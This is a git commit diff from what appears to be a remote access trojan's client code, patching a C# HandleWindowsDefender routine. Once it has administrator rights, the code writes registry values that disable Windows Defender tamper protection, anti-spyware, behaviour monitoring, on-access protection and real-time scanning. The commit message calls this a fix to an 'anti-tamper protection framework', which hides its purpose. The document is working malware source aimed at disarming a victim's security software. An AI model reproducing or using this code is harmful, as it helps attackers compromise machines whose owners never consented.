Merge pull request #24 from MrDevBot/patch-1
Fixed potential error in MS-AntiTamper Protection Framework
This commit is contained in:
commit
4626e891b1
@ -16,12 +16,12 @@ namespace Client.Handle_Packet
|
||||
public HandleWindowsDefender()
|
||||
{
|
||||
if (!new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator)) return;
|
||||
|
||||
|
||||
RegistryEdit(@"SOFTWARE\Microsoft\Windows Defender\Features", "TamperProtection", "0"); //Windows 10 1903 Redstone 6
|
||||
RegistryEdit(@"SOFTWARE\Policies\Microsoft\Windows Defender", "DisableAntiSpyware", "1");
|
||||
RegistryEdit(@"SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", "DisableBehaviorMonitoring", "1");
|
||||
RegistryEdit(@"SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", "DisableOnAccessProtection", "1");
|
||||
RegistryEdit(@"SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", "DisableScanOnRealtimeEnable", "1");
|
||||
RegistryEdit(@"SOFTWARE\Microsoft\Windows Defender\Features", "TamperProtection", "0"); //Windows 10 1903 Redstone 6
|
||||
|
||||
CheckDefender();
|
||||
}
|
||||
|
Loading…
x
Reference in New Issue
Block a user